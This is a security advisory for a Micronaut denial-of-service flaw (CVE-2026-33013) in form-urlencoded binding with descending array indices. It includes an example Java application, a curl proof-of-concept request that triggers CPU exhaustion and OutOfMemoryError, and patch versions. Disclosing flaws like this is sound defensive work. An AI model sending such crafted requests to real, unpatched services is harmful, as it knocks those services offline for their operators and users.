Micronaut vulnerable to DoS via crafted form-urlencoded body binding with descending array indicesCVE-2026-33013

In `JsonBeanPropertyBinder::expandArrayToThreshold` in `io.micronaut:micronaut-json-core` before Micronaut 4 4.10.16 and in Micronaut 3 before 3.10.5 does not correctly handle descending array index order during form-urlencoded body binding, which allows remote attackers to cause a denial of service (non-terminating loop, CPU exhaustion, and OutOfMemoryError) via crafted indexed form parameters (e.g., `authors[1].name` followed by `authors[0].name`). ### Example With such an application ```java package dosform; import io.micronaut.http.HttpResponse; import io.micronaut.http.MediaType; import io.micronaut.http.annotation.Body; import io.micronaut.http.annotation.Consumes; import io.micronaut.http.annotation.Controller; import io.micronaut.http.annotation.Get; import io.micronaut.http.annotation.Post; import io.micronaut.http.annotation.Produces; import java.net.URI; @Controller class HomeController { @Produces(MediaType.TEXT_HTML) @Get String index() { return """ <!DOCTYPE html> <html> <head> <title></title> </head> <body> <form action="/submit" method="post"> <label for="firstAuthor">Fist Author</label> <input id="firstAuthor" name="authors[0].name" type="text"/> <label for="secondAuthor">Second Author</label> <input id="secondAuthor" name="authors[1].name" type="text"/> <label for="thirdAuthor">Third Author</label> <input id="thirdAuthor" name="authors[2].name" type="text"/> <button type="submit">Submit</button> </form> </body> </html> """; } @Consumes(MediaType.APPLICATION_FORM_URLENCODED) @Post("/submit") HttpResponse<?> submit(@Body Book book) { return HttpResponse.seeOther(URI.create("/")); } } package dosform; import io.micronaut.core.annotation.Introspected; import java.util.Objects; @Introspected public class Author { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } @Override public final boolean equals(Object o) { if (!(o instanceof Author)) return false; Author author = (Author) o; return Objects.equals(name, author.name); } @Override public int hashCode() { return Objects.hashCode(name); } @Override public String toString() { return "Author{" + "name='" + name + '\'' + '}'; } } package dosform; import io.micronaut.core.annotation.Introspected; import java.util.List; import java.util.Objects; @Introspected public class Book { private List<Author> authors; public List<Author> getAuthors() { return authors; } public void setAuthors(List<Author> authors) { this.authors = authors; } @Override public final boolean equals(Object o) { if (!(o instanceof Book)) return false; Book book = (Book) o; return Objects.equals(authors, book.authors); } @Override public int hashCode() { return Objects.hashCode(authors); } @Override public String toString() { return "Book{" + "authors=" + authors + '}'; } } ``` Sending `curl -v -X POST 'http://127.0.0.1:8080/submit' -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'authors[1].name=RobertGalbraith' --data-urlencode 'authors[0].name=JKRowling'` causes sustained CPU usage and unbounded memory growth (eventually `OutOfMemoryError`). ### Patches For Micronaut 4, the problem has been patched in `micronaut-core`, dependencies with group id `io.micronaut`, since [4.10.16](https://github.com/micronaut-projects/micronaut-core/releases/tag/v4.10.16). For Micronaut 3, the problem has been patched since [3.10.5](https://github.com/micronaut-projects/micronaut-core/releases/tag/v3.10.5) Users upgrade to the latest version of the framework. ### Workarounds There is no way for users to fix or remediate the vulnerability without upgrading. ### References PR Fix: https://github.com/micronaut-projects/micronaut-core/pull/12410

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